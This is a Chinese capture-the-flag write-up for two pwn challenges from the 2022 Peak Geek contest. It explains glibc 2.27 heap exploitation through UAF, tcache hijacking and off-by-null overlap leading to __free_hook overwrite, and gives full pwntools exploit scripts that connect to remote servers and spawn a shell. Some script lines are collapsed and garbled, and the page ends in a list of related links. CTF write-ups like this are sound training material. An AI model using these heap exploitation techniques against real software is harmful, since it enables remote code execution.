2022巅峰极客PWN
Gift
检查保护机。这题没给libc,我是通过 double free 以及打印fd的内容,判断版本应该是在2.27,小版本我直接用到了最高的去调试。
最多申请十个堆块,只能申请size为0x100或者0x60的堆块,申请后输入的长度比申请少0x10。
释放堆块存在UAF。
只能打印堆块+0x10后的内容。
这里的v2是有符号数,所以如果为负数时,就可以让一个堆块的fd指针加上一个较大的数。
这题花了挺多时间进行构造的,难点在于泄露地址后,再达成一次任意写会发现堆块申请次数不够用,要进行更加节省的构造才行。
想要达成任意写,如果是修改fd,这题又只有在申请堆块时才可以进行写堆块,那么就得申请三次才能达成,在次数紧张的情况下,我又没想到有其他布局可以节省泄露地址使用的次数,就想到了可以通过劫持 tcache bin,修改上面的内容,只需要两次就可以做到任意地址写,节省了一次。
在泄露出堆地址之后,修改fd指针,指向0x70堆块的前0x10位置,然后将堆块分配过去,进行修改0x70的fd指针。这里的三个堆块size是错开的,防止进入同一个tcache bin中。而选择修改0x70堆块覆盖tcache,是因为记录第一个被释放的0x70堆块比较靠前,如果是0x110的太靠后,可写长度不足以覆盖到。
这一步的构造算是最巧的一步了,当初也想了挺久的。在把堆块分配过去后,为了能够出现libc地址,需要去伪造一个size至少为0x420的堆块,所以我借助部分的tcache bin加上之前申请的堆块进行伪造大堆块,(同时这也是另外一个需要申请两个0x110堆块的理由,如果是两个0x70的堆块是不够长的);且需要将其释放掉,则在属于0x70的位置上填入了伪造堆块的地址,可以让堆块分配过来。
伪造fake chunk时,还需要伪造一个尾部堆块,保持堆块内存的连续性。
释放后成功获得libc地址,此时已经申请了八次堆块,还剩下两次申请机会。
两次刚好足够,一次填写地址,一次分配堆块达成任意写,这次就不要再用0x70分配,透支了两次,已经坏掉了。最开始是想要填入system地址的,但是因为堆块的前0x10都是已经填入了内容,使用了||貌似也没办法忽略,所以最后还是用了one_gadget getshell。
exp:
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./pwn')
DEBUG = 0
if DEBUG:libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:ip = '123.56.45.214'port = 33027libc = ELF("./libc-2.27.so")p = remote(ip, port)def debug(info="b main"):gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")def add(size, content):p.sendlineafter(b"your choice:\n", b'2')p.recvuntil(b"your choice:\n")if size == 0x100:p.sendline(b'1')else:p.sendline(b'2')p.recvuntil(b"plz write your wish on your gift!\n")p.send(content)def show(idx):p.sendlineafter(b"your choice:\n", b'4')p.recvuntil(b"index?\n")p.sendline(str(idx).encode('ascii'))def free(idx):p.sendlineafter(b"your choice:\n", b'3')p.recvuntil(b"index?\n")p.sendline(str(idx).encode('ascii'))add(0x100, 'a')
add(0x60, 'a')
add(0x100, b'a'*0x70 + p64(0) + p64(0x81))
free(0)
free(2)
show(2)
p.recvuntil(b"cost: ")
heap = int(p.recv(14), 10) - 0x250
log.info("heap==>0x%x" %heap)
p.sendlineafter(b"your choice:\n", b'5')
p.recvuntil(b"index?\n")
p.sendline('2')
p.recvuntil("How much?\n")
p.send(b'-240')
free(1)
add(0x100, 'a')
add(0x100, p64(0) + p64(0x71) + p64(heap + 0x20))
add(0x60, 'a')
add(0x60, p64(0) + p64(0x421) + p64(0)*5 + p64(heap + 0x40))
add(0x60, 'a')
free(7)
show(7)
p.recvuntil(b"cost: ")
leak = int(p.recv(16), 10) - 0x3ebca0
log.info("libc_base==>0x%x" %leak)
free_hook = leak + libc.sym['__free_hook']
sys = leak + libc.sym['system']
ogg = leak + 0x4f302
add(0x100, b"||sh"*2 + p64(0)*12 + p64(free_hook - 0x20))
add(0x100, p64(0)*2 + p64(ogg))
#debug()
free(8)
#debug()
p.interactive()
smallcontainer
首先确定附件的保护机制以及libc版本号。
可以申请最多17个堆块,大小范围在 0xFF~0x3FF之间,记录堆块地址以及堆块大小。
这里的输入完内容后执行的函数存在问题:填满堆块时,如果下一个堆块的size存在0x11结尾,将会被置0,可看为offbynull。
只能打印fd上的内容。
正常释放堆块,且置0。
显然是要利用offbynull构造堆块重叠,从而泄露地址以及错位修改fd指针,达到任意地址写的目的。
先填充 tcache bin,0x210作为我们的目标堆块。
然后在目标堆块里面,把减少的0x11伪造为一个堆块,保持堆块的连续性。
接着,填充前一个堆块,修改目标堆块的size位。
在将prev size位修改为前几个堆块的总和size,最后释放合并,覆盖堆块就完成了。顺带提一嘴,这样在2.27前还能利用成功,在2.29及以上,就会失败了,程序会去检查头堆块的size是否有prev size这么大。
接下来就是泄露地址,然后错位修改堆块的fd指针,就做完了。
exp:
#!usr/bin/env python
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./smallcontainer')
DEBUG = 0
if DEBUG:libc = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")ld = ELF("/home/shoucheng/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so")p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
else:ip = '101.200.85.91'port = 37238libc = ELF("./libc-2.27.so")p = remote(ip, port)def debug(info="b main"):gdb.attach(p, info)#gdb.attach(p, "b *$rebase(0x)")def add(size):p.sendlineafter(b"> ", b'1')p.recvuntil(b"Input size: ")p.send(str(size).encode('ascii'))def show(idx):p.sendlineafter(b"> ", b'4')p.recvuntil(b"Input index: ")p.sendline(str(idx).encode('ascii'))def free(idx):p.sendlineafter(b"> ", b'2')p.recvuntil("Input index: ")p.sendline(str(idx).encode('ascii'))def edit(idx, content):p.sendlineafter(b"> ", b'3')p.recvuntil("Input index: ")p.sendline(str(idx).encode('ascii'))p.send(content)add(0x1f8)
add(0x1f8)
add(0x1f8)
add(0x208)
for i in range(4,11):add(0x1f8)
for i in range(4,11):free(i)
edit(3, b'a'*0x1f0 + p64(0) + p64(0x11))
edit(2, b'a'*0x1f8)
edit(2, b'a'*0x1f0 + p64(0x600))
free(0)
free(3)
add(0x100)
show(0)
#p.recvuntil("0x")
leak = int(p.recv(12),16) - 0x3ec190
log.info("libc_base==>0x%x" %leak)
free_hook = leak + libc.sym['__free_hook']
sys = leak + libc.sym['system']
add(0x310)
for i in range(7):add(0x1f8)
free(1)
edit(3 ,b'/bin/sh\x00' + b'a'*0xd8 + p64(0) + p64(0x201) + p64(free_hook))
add(0x1f8)
add(0x1f8)
edit(11, p64(sys))
free(3)
#debug()p.interactive()
happy_note
2022巅峰极客PWN相关推荐
- 2022巅峰极客WriteUp By EDISEC
2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...
- 巅峰极客pwn wp
Pwn gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写. delete:有UAF show: ...
- 巅峰极客2022初赛 部分题解
文章目录 Crypto point-power strange curve Misc easy_Forensic Lost 巅峰极客2022初赛,团队共解决7道题,合计2234分,排名第11位,晋级复 ...
- 巅峰极客2022wp
巅峰极客2022 文章目录 巅峰极客2022 web babyweb ezWeb web babyweb 提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[N ...
- 2020巅峰极客wp
2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以'-'为间隔,将flag的第一部分转换为整型数字,并且满足后项 ...
- 2018巅峰极客writeup(Misc)
原文地址:https://mistsatan.github.io/articles/2018-Peakgeek-Writeup-Misc.html 作为一个渣渣,带着去看各路神仙打架的想法报名了这次的 ...
- 巅峰极客第一场CTF部分writeup
额,上午驾校学车,中午打了会儿安恒的月赛,就来看巅峰极客的题了.时间关系实力原因没做几个emmmm太菜了wa MISC-warmup-100pt 拿到一个bmp文件,套路走一波,右键查看属性emmm啥 ...
- [代码审计][PHAR]巅峰极客babyphp2学习压缩过滤器触发phar
前言:我要当赛棍!!! 文章目录 序列化与反序列化 基本介绍 PHP反序列化漏洞原理 常用的魔法函数 __wakeup()绕过:CVE-2016-7124 __set:巅峰极客babyphp2 解决p ...
- 巅峰极客2021 what_pickle——一道综合性的python web
前言 这题好像是最少人做出的web,考察的知识点比较多,综合性比较强,感觉挺有意思的.很多人都是卡在某个知识点,尤其是最后读flag阶段.总的来说,由于这题涉及到各种很经典的python安全的知识点, ...
最新文章
- 【功率控制】无线光通信-CDMA中闭环链路的功率控制MATLAB仿真
- Windows Azure Storage (10) Windows Azure 上的托管服务CDN (下) Hosted Service
- 铁钉的blog地址 http://nails.blog.51cto.com
- 前端学习(3285):立即执行函数四
- 入门大爆炸式发展的深度学习,你先要了解这6个著名框架
- 后端程序员必备:索引失效的十大杂症
- webpack插件实现自动抽取css中的主题色样式,并动态切换主题色(element-ui)
- 微软Silverlight 3正式版
- 将四个按钮放入一个父控件的好处:方便移动,只需要改变父控件的y值,就可移动四个按钮...
- amd速龙黑苹果内核补丁_替换AMD内核安装10.9.2超级懒人版成功
- 机器学习预测股票涨跌
- 遍历目录 nftw and ftw
- Exchange Web Service(EWS) 协议同步邮件
- 【暑期每日一题】洛谷 P1551 亲戚
- css强制换行和超出隐藏实现(单行和多行)
- 已安装visual studio 如何添加新模板和组件
- Excel 合并单元格 ,换行,过滤空单元格
- JavaScript增加和删除DOM节点
- 基于JAVA东理咨询交流论坛计算机毕业设计源码+系统+数据库+lw文档+部署
- 线程池ThreadPoolExecutor使用简介